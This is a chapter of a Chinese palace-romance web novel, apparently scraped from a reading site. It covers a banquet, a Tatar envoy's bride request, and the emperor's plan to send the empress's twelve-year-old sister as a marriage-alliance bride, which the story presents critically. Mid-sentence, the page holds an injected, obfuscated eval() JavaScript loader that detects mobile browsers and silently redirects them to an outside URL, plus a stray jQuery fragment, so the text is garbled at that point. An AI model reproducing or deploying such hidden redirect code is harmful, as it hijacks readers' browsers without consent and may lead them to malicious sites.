一大早上陈云鹤救被强制拉起来上路,马车没了先前悠闲,一刻也不停的跑着。
陈云鹤几乎没了欣赏窗外风景的心情,天才蒙蒙亮他们就上路了,更过分的是春杏,她得了高君牧的命令,陈云鹤起不来也不强求,居然连人带被子一起被高君牧抱上马车。
因此,陈云鹤一觉醒来发现自己居然在睡在马车上,高君牧的腿被陈云鹤当成了枕头。
“阿月,你醒了。”醒来时,陈云鹤刚好对上了高君牧的脸,他笑的倒是如沐春风还有心思问好。
陈云鹤刚睡醒也没回过神,结果马车还好死不死地颠簸了两下,高君牧眼疾手快的抱住她,要不然肯定是脸着地。
陈云鹤醒来后,马车就彻底放开了速度,一路上就没怎么停下来过,先前要走三天的路,现在几乎半天就赶到。
不过这样急匆匆赶路的后果也很明显,陈云鹤感觉自己快被马车颠散架了,好在不到十日就回到了京都。
对于陈云鹤而言回到京都的第一件事就睡觉,陈云鹤躺在华玉宫的大床上,京都可不像江南暖和,它几乎是半只脚踏入了冬天。
好在华玉宫里的炭火十分充足,整间屋子都暖乎乎的,同时也让陈云鹤的瞌睡虫越来越长。
这一睁眼又到了下午,陈云鹤刚醒来就看见站在床头等候多时的春杏正笑眯眯的看着自己。
“娘娘,您醒了,那就得赶紧梳妆了,晚上的宴会可不能忘呢。”春杏转身拿出各式各样的珠宝让陈云鹤挑选。
陈云鹤揉了揉惺忪的睡眼,她差点忘了,他们原本急匆匆的赶过来,就是因为边关的那些人突然来求和。
以至于陈云鹤不得不提前结束在江南的游玩,还因此一路上疯狂的赶路,导致陈云鹤几乎这些天都没睡过一个好觉。
不过现在也不是抱怨的时候,当务之急还是要应付晚上的宴会。
陈云鹤坐在梳妆镜前眼睁睁看着自己头上的首饰越来越多,春杏满意的看着自己的杰作,又摸上陈云鹤的脖子。
脖子上只带着无妄法师给的白玉牌,与那一身雍容华贵的衣裙极为不协调。
“娘娘,要不把这白玉牌取下来吧?”
“不必了,就这样吧,这白玉牌我戴着安心。”陈云鹤想都没想就拒绝了,不知为何这白玉牌总是给她一股莫名其妙的安心感。
春杏识趣的没有再说话,毕竟上一个不识趣的现在还在外院洒扫回不来呢。
宴会上歌舞升平,陈云鹤抬眼看向坐在高君牧身边的楚兰泱,楚兰泱今日穿着的十分贵气,但始终皱着眉头,一副闷闷不乐的样子。
“陈云鹤,陈云鹤!”坐在一旁的沈凝竹忍不住小声叫着她,陈云鹤转头看过去,沈凝竹却做了个鬼脸给自己。
陈云鹤才算安心片刻,这些天虽然一直在赶路,不过也从高君牧口中知道了不少东西。
边关的一直以来大大小小的战事不断,这两年在北边的鞑靼连着吃了好几个败仗,眼看着要没什么机会了,也只能求和。
不过陈云鹤也不清楚具体要怎么求和,宴会上的氛围不错,鞑靼派来的使节喝了不少酒,就连陈云鹤都和沈凝竹喝了好几杯。
“陛下,我们鞑靼王听闻贵国的女子都无比美貌,我们的鞑靼王希望能够求娶!”
鞑靼的使节长着满脸的络腮胡,也不知道是不是吃醉了酒,居然当着众人的面就说了出来。
高君牧的脸色顿时就沉了下去,宴会一时间也冷了场。
“看来鞑靼的使节十分喜欢我们中原的酒啊,都喝醉到说胡话了,”坐在高君牧旁边的楚兰泱起身打圆场,“来人啊,快扶鞑靼的使节下去休息。”
几个太监手忙脚乱将已经醉的不省人事的使节扶下去,宴会的歌舞声不停,却没了刚刚的氛围。
坐在陈云鹤对面的杨疏影一言不发,从鞑靼的使节说出求娶时,杨疏影脸色冷的能吃人。
安悦坐在母亲身边,她还听不懂那是什么意思。
原本好好的宴会,众人却提前失了兴致,宴会结束后,陈云鹤被春杏扶着回到华玉宫。
刚躺下的陈云鹤还没来得及回过神,被子就被人掀开,一个温热的身体钻到了被窝里。
陈云鹤下意识以为是高君牧嘟囔说:“别闹,陛下臣妾醉了……”
躺在旁边的人身子一僵,听完后在陈云鹤的耳边笑着说:“娘娘,这深宫寂寞,所以小的才来你这儿啊!”
听到完全不同的声音陈云鹤猛的清醒了过了,转头看看向声音的来源,却是一张无比秀气的脸。
沈凝竹脸上挂着笑,也不知道是不是喝了酒的缘故,她的眼睛亮亮的看着陈云鹤。
“你怎么来我这里了?”陈云鹤嫌弃的往旁边挪了挪,沈凝竹也干脆贴在她。
“不行吗?我来讨我的礼物,”沈凝竹指着陈云鹤,带这些愤愤不平说道:“你说好的去江南会给我送礼物的,礼物呢?我问你!”
陈云鹤在沉默中闭上了眼睛,原本江南之旅应该不会那么快结束,因此别说给沈凝竹买礼物,就连她想再去一次山木寺都没能去成。
“沈凝竹,你想要什么就同我说吧,我回头让人送过来。”
“我就和你聊聊天吧,反正今天陛下肯定不会来你这里的,一定是去皇后娘娘那里。”沈凝竹靠着枕头,一脸断定的样子。
今日既不是初一,也不是十五,高君牧又怎么会去皇后娘娘那里呢?
陈云鹤心里也难免好奇,望着沈凝竹,沈凝竹心领神会的说出自己知道的东西。
“鞑靼的使节想娶贵女,最好还是和陛下有些关系的,不然杨疏影的脸色会那么难看吗?”
“安悦!她还那么小,怎么可以?”陈云鹤整个人都惊呆了。
安悦才三岁而已啊!
“所以啊,安悦才三岁,所以陛下肯定是想要皇后娘娘出面了,希望皇后娘娘的妹妹楚兰陵去和亲。”沈凝竹越说越激动,恨不得现在去云华宫。
“楚兰陵?”陈云鹤对楚兰泱也算不上亲近,只是楚兰泱的确是个温柔贤淑的好皇后,不过她的妹妹陈云鹤倒是没怎么听说过。
“对了,你不知道,我跟你说这后宫里只有我知道。”沈凝竹一下就找到了存在感,拍着胸脯十分自豪。
沈凝竹喋喋不休将楚兰泱先前的一切告知了陈云鹤,说完后沈凝竹整个人口干舌燥的,抓去茶壶一饮而尽。
陈云鹤则被那一通消息震
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17131948|193322||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
惊的说不出话来。
楚兰泱的娘家,居然造反过!
楚兰泱的父兄都因此被砍头,偌大的府邸,只有楚兰陵因为年幼再加上楚兰泱当时求情才留了下来。
不过现在也才十二岁,陈云鹤越想越觉得悲哀,十二岁的少女去和亲,对象还是一个四十多岁的人。
夜渐渐深了,沈凝竹赖在陈云鹤的床上不走,陈云鹤想着反正就她们两个,也就由着沈凝竹了。
云华宫内却没有如此和谐一幕了。
楚兰泱的脸上满是泪水,声嘶力竭的朝着高君牧吼道:“陛下!我妹妹才十二岁啊!按照本国律法女子十五岁才可出嫁,你怎么能如此狠心?”
“和亲又不是出嫁,先送到鞑靼那边,到了十五岁再成婚也是一样的。她能使双方修得两晋之好,是它的福分。”高君牧坐在椅子上,神情冷漠的看着在狼狈的楚兰泱。
“陛下,为什么非我妹妹不可?陛下还是恨我吗?臣妾为你做了这么多,就是想要保全自己的妹妹,陛下若是逼我。”
“你给朕住口!”
“陛下是怕了吗?是怕云贵妃知道陛下的所作所为?还是怕什么呢?陛下不是一早就知道了,云贵妃早就换了人!”
高君牧听到这话皱了皱眉,眼神中是说不出的厌恶,望着逐渐靠近的楚兰泱,一巴掌将楚兰泱打到了地上。
楚兰泱嘴角带血,却一脸挑衅的看着他,丝毫没有任何恐惧。
“陛下,那碗桂花藕粉羹后,您不就已经知道了云贵妃已经换了人吗?”楚兰泱撑着身子从地上起来,一步步的靠近着高君牧,高君牧的脸色也越发沉重。
“楚兰泱,朕能留你一命,让你继续坐在皇后的这个位子上,你就应该给朕烧香拜佛了,就更别跟朕提一些什么要求!”高君牧明显被戳中了痛处,他指着楚兰泱破口大骂道。
“你真当自己是什么个情深意重的东西?”高君牧回想起当年的事情,越发恼怒,“当年与父兄谋反,朕可是你的丈夫啊!你明知道一切,却什么都不肯告诉朕,还想拿那孽种来保全你们楚家!”
“孽种?臣妾当时当着众人的面跪在您的寝宫面前,求的是什么?臣妾求的是希望您看在臣妾的妹妹年幼无知的份上放过她,那个时候的她才八岁呀!”
提起往事,楚兰泱也仿佛被戳中了伤心处。
“当年臣妾跪在您的宫殿门口跪了一天,你连个眼神都没给臣妾,晚间的时候,那场大雨将臣妾的身子浇垮了,臣妾的孩子连同那场大雨一起没了。”楚兰泱越说越激动,泪水糊在眼睛里。
她当年何其的悲哀,何其的悲痛,可这一切在高君牧眼里只是挟持他的手段。
“臣妾也倒想问问陛下,若非我那次滑胎,陛下可还会放过我的妹妹吗?”
高君牧听着楚兰泱声嘶力竭的呼喊,只觉得聒噪。
“皇后,你疯了……”高君牧没有作答楚兰泱的问题,楚兰泱自己也清楚。
高君牧起身离去,独留楚兰泱一个人跪在地上,掩面哭泣。
哭声直到高君牧离去后也没有停止,高君牧回头看向云华宫一眼。
“来人,皇后娘娘身体抱恙,这些天就不要出这宫殿了。”